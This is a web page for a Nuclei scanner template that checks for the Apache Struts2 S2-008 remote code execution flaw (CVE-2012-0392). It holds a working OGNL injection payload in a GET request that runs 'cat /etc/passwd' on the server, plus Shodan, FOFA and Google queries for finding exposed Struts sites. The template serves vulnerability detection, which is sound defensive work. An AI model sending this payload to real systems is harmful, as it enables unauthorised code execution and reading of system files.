Skip to content

Apache Struts2 S2-008 RCE

ID: CVE-2012-0392

Severity: medium

Author: pikpikcu

Tags: cve,cve2012,apache,rce,struts,java,edb

The CookieInterceptor component in Apache Struts before 2.3.1.1 does not use the parameter-name whitelist, which allows remote attackers to execute arbitrary commands via a crafted HTTP Cookie header that triggers Java code execution through a static method.

id: CVE-2012-0392
info:
name: Apache Struts2 S2-008 RCE
author: pikpikcu
severity: medium
description: The CookieInterceptor component in Apache Struts before 2.3.1.1 does not use the parameter-name whitelist, which allows remote attackers to execute arbitrary commands via a crafted HTTP Cookie header that triggers Java code execution through a static method.
impact: |
Successful exploitation of this vulnerability can lead to remote code execution on the affected server.
remediation: Developers should immediately upgrade to at least Struts 2.3.18.
reference:
- https://cwiki.apache.org/confluence/display/WW/S2-008 https://blog.csdn.net/weixin_43416469/article/details/113850545
- http://www.exploit-db.com/exploits/18329
- https://lists.immunityinc.com/pipermail/dailydave/2012-January/000011.html
- http://web.archive.org/web/20150110183326/http://secunia.com:80/advisories/47393
- http://struts.apache.org/2.x/docs/s2-008.html
classification:
cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
cvss-score: 6.8
cve-id: CVE-2012-0392
cwe-id: NVD-CWE-noinfo
epss-score: 0.96232
epss-percentile: 0.99521
cpe: cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: apache
product: struts
shodan-query:
- http.html:"apache struts"
- http.title:"struts2 showcase"
- http.html:"struts problem report"
fofa-query:
- body="struts problem report"
- title="struts2 showcase"
- body="apache struts"
google-query: intitle:"struts2 showcase"
tags: cve,cve2012,apache,rce,struts,java,edb
http:
- method: GET
path:
- "{{BaseURL}}/devmode.action?debug=command&expression=(%23_memberAccess[%22allowStaticMethodAccess%22]%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean(%22false%22)%20%2C%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D%23foo%[email protected]@toString(@java.lang.Runtime@getRuntime().exec(%27cat%20/etc/passwd%27).getInputStream()))"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 490a00463044022014b6215bb6027d89f02d720aff523bc8283cc2be315db8e799ee3cdb2a2dd7500220532c3b1142ab2b5b1567bde07b65985462b13093df02c6105fccfedf945b5cf5:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2012/CVE-2012-0392.yaml"

View on Github